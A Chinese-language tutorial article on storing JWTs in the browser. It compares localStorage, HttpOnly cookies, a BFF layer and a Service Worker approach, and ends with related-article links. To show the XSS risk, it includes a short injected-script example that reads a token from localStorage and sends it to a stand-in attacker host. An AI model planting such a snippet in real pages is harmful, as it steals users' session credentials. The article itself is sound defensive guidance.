关于js JWT的前端存储新思路详解

 更新时间:2025年10月06日 10:13:50   作者:EF@蛐蛐堂  
JSON Web Token (JWT)是目前最流行的跨域身份验证解决方案,这篇文章主要介绍了关于js JWT的前端存储新思路的相关资料,文中通过代码介绍的非常详细,需要的朋友可以参考下

前言

多年来,将 JWT (JSON Web Token) 等用户的身份信息存储在 localStorage或sessionStorage 中,似乎已经成了前后端分离架构下的“标准答案”。然而,随着网络安全威胁的不断演进,这个曾经的“最佳实践”如今已然成为一个巨大的安全隐患。

localStorage脆弱的安全性

localStorage 的核心问题在于其脆弱的安全性,这主要体MAT现在对 XSS (Cross-Site Scripting, 跨站脚本攻击) 的无力抵抗上。

XSS

简单来说,XSS 攻击是指攻击者设法在我们的网站上注入并执行了恶意的 JavaScript 脚本。注入的途径多种多样,可能是一个被用户渲染的恶意评论,也可能是一个包含恶意代码的 URL 参数。

一旦恶意脚本在我们的页面上成功执行,它就拥有了与我们自己的前端代码几乎完全相同的权限。这意味着:

它可以轻松访问 localStorage!

攻击者只需要注入一行简单的代码,就可以将我们存储的 JWT 发送到他自己的服务器上:

//攻击者注入的恶意脚本
const stolenToken = localStorage.getItem('jwt_token');
//创建一个看不见的图片元素
const img = new Image();
//将偷来的 Token 作为 URL 参数,赋值给图片的 srcimg.src =`https://attacker-server.com/steal?token=${encodeURIComponent(stolenToken)}`;

一旦 Token 被盗,攻击者就可以冒充我们的用户,为所欲为。所有依赖于这个 Token 的后端接口都将对攻击者敞开大门。这无疑是毁灭性的。

结论: localStorage 本质上是一个对 JavaScript 完全开放的沙盒。任何能够在我们页面上执行的脚本,都能读写其中的所有数据。将敏感的、具有用户身份凭证的 JWT 存放在这里,就像把家门钥匙挂在了门外的钉子上——方便了自己,也方便了小偷。

传统解决方案:HttpOnly Cookie

为了解决 XSS 盗取 Token 的问题,社区很早就提出了一个经典的方案:使用 HttpOnly Cookie

当服务器在设置 Cookie 时,如果添加了 HttpOnly 标志,那么这个 Cookie 将无法通过客户端 JavaScript (document.cookie) 来访问。浏览器只会在发送 HTTP 请求时自动携带它。

优点:

  • 有效防御 XSS 盗取:由于 JS 无法读取,XSS 攻击者无法直接窃取 Token。
  • 浏览器自动管理:无需前端代码手动在每个请求头中添加 Authorization

但它也并非完美,带来了新的挑战:CSRF 攻击

CSRF

CSRF (Cross-Site Request Forgery, 跨站请求伪造) 是指攻击者诱导用户在一个已经登录的网站上,从一个恶意网站发起非本意的请求。

例如,我们登录了 bank.com,浏览器保存了 bank.com 的 HttpOnly Cookie。此时,我们访问了一个恶意网站 evil.com,该网站上有一个自动提交的表单,其目标是 bank.com 的转账接口。当我们打开 evil.com 时,浏览器会自动携带 bank.com 的 Cookie 发起转账请求,从而在我们自己不知情的情况下完成转账。

解决方案

CSRF 有成熟的防御手段:

  1. SameSite 属性:在设置 Cookie 时,将 SameSite 属性设置为 Strict 或 Lax,可以有效阻止跨站请求携带 Cookie。
  2. CSRF Token:服务器生成一个随机的 CSRF Token,前端在每次发起状态变更的请求时,都需要在请求体或请求头中携带这个 Token,服务器进行验证。

HttpOnly Cookie 方案虽然可行,但要求后端进行精细的 Cookie 配置和 CSRF 防御,对于现代前后端分离、特别是需要跨域调用的场景,配置会变得更加复杂。

前端鉴权新思路

BFF (Backend for Frontend) + Cookie

BFF,即 Backend For Frontend(服务于前端的后端)。。

在 Web 服务里,搭建一个中间层,前端访问中间层的接口,中间层再访问后台的 Java/C++ 服务。负责鉴权、API 聚合、数据转换等。

这类服务的特点是不需要太强的服务器运算能力,但对程序的灵活性有较高的要求。

鉴权流程

  1. 登录:前端将用户名密码发送给 BFF。
  2. 认证与换取:BFF 将凭证发送给真正的认证服务,获取 JWT。
  3. 设置安全 Cookie:BFF 并不将 JWT 返回给前端。取而代之,BFF 创建一个会话(Session),并将 Session ID 存储在一个安全的、HttpOnly、SameSite=Strict 的 Cookie 中,返回给浏览器。
  4. API 请求:前端向 BFF 发起所有 API 请求(例如 /api/user)。由于是同域请求(或配置了 withCredentials),浏览器会自动携带上述 Session Cookie。
  5. 代理与鉴权:BFF 收到请求后,通过 Session Cookie 找到对应的会话和 JWT,然后将 JWT 添加到请求头中,再将请求转发给后端的微服务。

BFF层作为前端与后端的桥梁,主要负责处理以下问题

  1. 适配多端需求‌:不同终端(如Web、移动端、小程序)对数据需求不同,BFF层可按前端需求定制数据格式,减少数据传输量。 ‌23
  2. 简化前端逻辑‌:封装多个后端接口调用,将复杂业务逻辑移至后端处理,前端只需调用简化后的API。 ‌25
  3. 提升安全性‌:通过统一身份验证、权限控制等机制,避免前端直接暴露后端细节。 ‌24
  4. 降低耦合性‌:当后端服务变更时,BFF层可进行适配转换,减少对前端的直接影响。 ‌23

优点

  • 对于前端来说:让前端有能力自由组装后台数据,这样可以减少大量的业务沟通成本,加快业务的迭代速度;并且,前端同学能够自主决定与后台的通讯方式。
  • 对于后台和运维来说,好处是:安全性(不会把主服务器暴露在外面)、降低主服务器的复杂度等。

缺点

  • 增加了架构复杂度:需要额外维护一个 BFF 服务。

Service Worker + 内存存储

Service Worker是一种运行在浏览器后台的独立线程,主要用于提升网页性能和实现后台功能,如离线缓存、网络代理、消息推送等。

将 Token 的管理权完全交给 Service Worker,主线程(我们的 React/Vue 应用)不直接接触 Token。

鉴权流程

  1. 登录:主线程登录成功后,通过 postMessage 将获取到的 JWT 发送给激活的 Service Worker。
  2. 内存存储:Service Worker 接收到 Token 后,将其存储在自身的作用域内的一个变量中(即内存中)。它不使用 localStorage 或 IndexedDB
  3. 拦截请求:前端应用像往常一样发起 fetch('/api/data') 请求,但不添加 Authorization 头
  4. 注入 Token:Service Worker 监听 fetch 事件,拦截所有出站的 API 请求。它会克隆原始请求,并将内存中存储的 Token 添加到新请求的 Authorization 头中。
  5. 发送请求:Service Worker 将带有 Token 的新请求发送到网络。

优点

  • 有效隔离:Token 存储在 Service Worker 的独立运行环境中,与主线程的 window 对象隔离,常规的 XSS 脚本无法访问 Service Worker 的内部变量,安全性远高于 localStorage
  • 逻辑集中:Token 的刷新逻辑(Refresh Token)也可以封装在 Service Worker 中,对应用代码完全透明。
  • 无需额外服务:相比 BFF,这是一个纯前端的解决方案。

缺点

  • 实现复杂:Service Worker 的生命周期和通信机制比 localStorage 复杂得多。
  • 兼容性与稳定性:需要考虑浏览器兼容性,以及 Service Worker 被意外终止或更新的场景。

几种方案对比

方案

防御 XSS 窃取

防御 CSRF

前端复杂度

后端/架构复杂度

推荐场景

localStorage

❌ 极差

✅ (天然免疫)

极低

极低

不推荐

HttpOnly Cookie

✅ 优秀

⚠️ 需手动防御

较低

中等

传统 Web 应用,或有能力处理 CSRF 的团队

BFF + Cookie

✅✅ 顶级

✅✅ 顶级

极低

 较高

中大型应用,微服务架构,追求极致安全与清晰分层

Service Worker

✅ 优秀

✅ (天然免疫)

较高

极低

PWA,追求纯前端解决方案,愿意接受更高复杂度的创新项目

总结

将 JWT 存储在 localStorage 的时代正在过去。这并非危言耸听,而是对日益严峻的网络安全形势的积极响应。

  • 对于新项目或有重构计划的项目,强烈建议采用 BFF + Cookie 模式。它虽然增加了架构成本,但换来的是顶级的安全性和清晰的职责划分,从长远看是值得的。
  • 对于追求极致前端技术或构建 PWA 的团队,Service Worker 方案提供了一个充满想象力的选择,能够将安全边界控制在前端内部。
  • 如果我们的应用规模较小,且暂时无法引入 BFF,那么退而求其次,HttpOnly Cookie 配合严格的 SameSite 策略和 CSRF Token,依然是比 localStorage 安全得多的可靠选择。

到此这篇关于关于js JWT的前端存储新思路的文章就介绍到这了,更多相关js JWT前端存储内容请搜索脚本之家以前的文章或继续浏览下面的相关文章希望大家以后多多支持脚本之家!

相关文章

  • 统一接口:为FireFox添加IE的方法和属性的js代码

    统一接口:为FireFox添加IE的方法和属性的js代码

    统一接口:为FireFox添加IE的方法和属性的js代码...
    2007-03-03
  • JS简单获得节点元素的方法示例

    JS简单获得节点元素的方法示例

    这篇文章主要介绍了JS简单获得节点元素的方法,结合实例形式分析了javascript获取页面节点元素及修改元素属性相关操作技巧,需要的朋友可以参考下
    2018-02-02
  • JavaScript实现pc端和移动端页面切换的两种基本方案

    JavaScript实现pc端和移动端页面切换的两种基本方案

    这篇文章主要为大家详细介绍了JavaScript实现pc端和移动端页面切换的两种方法,文中的示例代码讲解详细,感兴趣的小伙伴可以了解一下
    2025-06-06
  • Canvas实现数字雨和放大镜效果的代码示例

    Canvas实现数字雨和放大镜效果的代码示例

    这篇文章主要介绍了如何Canvas实现数字雨和放大镜效果,文中有完整的代码示例,文章通过代码介绍的非常清楚,感兴趣的小伙伴跟着小编一起来看看吧
    2023-07-07
  • javascript级联下拉列表实例代码(自写)

    javascript级联下拉列表实例代码(自写)

    javascript下拉菜单想必大家在浏览网页的时候都会看到吧,已不是那么陌生了,本文介绍使用javascript实现级联下拉列表实例,感兴趣的朋友可以参考下哈,希望对你有所帮助
    2013-05-05
  • js实现简易购物车功能

    js实现简易购物车功能

    这篇文章主要为大家详细介绍了js实现简易购物车功能,文中示例代码介绍的非常详细,具有一定的参考价值,感兴趣的小伙伴们可以参考一下
    2021-10-10
  • js中判断两个数组对象是否完全相等

    js中判断两个数组对象是否完全相等

    这篇文章主要介绍了js中判断两个数组对象是否完全相等方式,具有很好的参考价值,希望对大家有所帮助。如有错误或未考虑完全的地方,望不吝赐教
    2023-04-04
  • 关于ES6中数组新增的方法详解

    关于ES6中数组新增的方法详解

    数组(Array)是有序的元素序列,若将有限个类型相同的变量的集合命名,那么这个名称为数组名,下面这篇文章主要给大家介绍了关于ES6中数组新增方法的相关资料,需要的朋友可以参考下
    2022-03-03
  • uniapp中实现App自动检测版本升级的示例代码

    uniapp中实现App自动检测版本升级的示例代码

    本文主要介绍了uniapp中实现App自动检测版本升级的示例代码,文中通过示例代码介绍的非常详细,对大家的学习或者工作具有一定的参考学习价值,需要的朋友们下面随着小编来一起学习学习吧
    2023-01-01
  • webpack踩坑之路图片的路径与打包

    webpack踩坑之路图片的路径与打包

    这篇文章主要介绍了webpack踩坑之路图片的路径与打包,具有一定的参考价值,感兴趣的小伙伴们可以参考一下
    2017-09-09

最新评论